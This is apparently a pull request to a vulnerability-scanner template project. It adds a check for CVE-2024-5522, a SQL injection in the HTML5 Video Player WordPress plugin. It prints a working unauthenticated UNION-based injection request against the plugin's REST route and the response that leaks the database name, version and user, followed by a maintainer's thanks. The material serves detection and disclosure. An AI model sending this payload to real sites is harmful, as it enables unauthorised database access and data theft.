Added CVE-2024-5522 Template

[JohnDoeAnonITA]

Template / PR Information

• Added CVE-2024-5522
• References:
  • https://nvd.nist.gov/vuln/detail/CVE-2024-5522
  • https://wpscan.com/vulnerability/bc76ef95-a2a9-4185-8ed9-1059097a506a/

REQ:

GET /wp-json/h5vp/v1/video/0?id='+union+all+select+concat(0x64617461626173653a,database(),0x7c76657273696f6e3a,version(),0x7c757365723a,user()),2,3,4,5,6,7,8--+- HTTP/1.1
Host: ****
User-Agent: Mozilla/5.0 (X11; CrOS x86_64 14816.131.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.0.0 Safari/537.36
Connection: close
Accept: */*
Accept-Language: en
Cookie: instawp_skip_splash=true; path=/
Accept-Encoding: gzip

RESP:

HTTP/1.1 200 OK
Connection: close
Transfer-Encoding: chunked
Access-Control-Allow-Headers: Authorization, X-WP-Nonce, Content-Disposition, Content-MD5, Content-Type
Access-Control-Expose-Headers: X-WP-Total, X-WP-TotalPages, Link
Allow: GET, POST, PUT, PATCH
Content-Type: application/json; charset=UTF-8
Date: Wed, 26 Jun 2024 12:09:42 GMT
Link: ****
Server: nginx
Vary: Accept-Encoding
Vary: Origin
X-Content-Type-Options: nosniff
X-Robots-Tag: noindex

{"id":"database:***f6ywSYmdM|version:10.6.14-MariaDB-1:10.6.14+maria~ubu2004|user:***xo7475@localhost","title":"2","src":"3","type":"4","user_id":"5","external_id":"6","created_at":"7","updated_at":"8"}

Template Validation

I've validated this template locally?

• YES
• NO

Additional Details (leave it blank if not applicable)

The HTML5 Video Player WordPress plugin before 2.5.27 does not sanitize and escape a parameter from a REST route before using it in a SQL statement, allowing unauthenticated users to perform SQL injection attacks

[GeorginaReeder]

Thanks so much for your contribution @JohnDoeAnonITA !

We also have a Discord server, which you’re more than welcome to join. It's a great place to connect with fellow contributors and stay updated with the latest developments!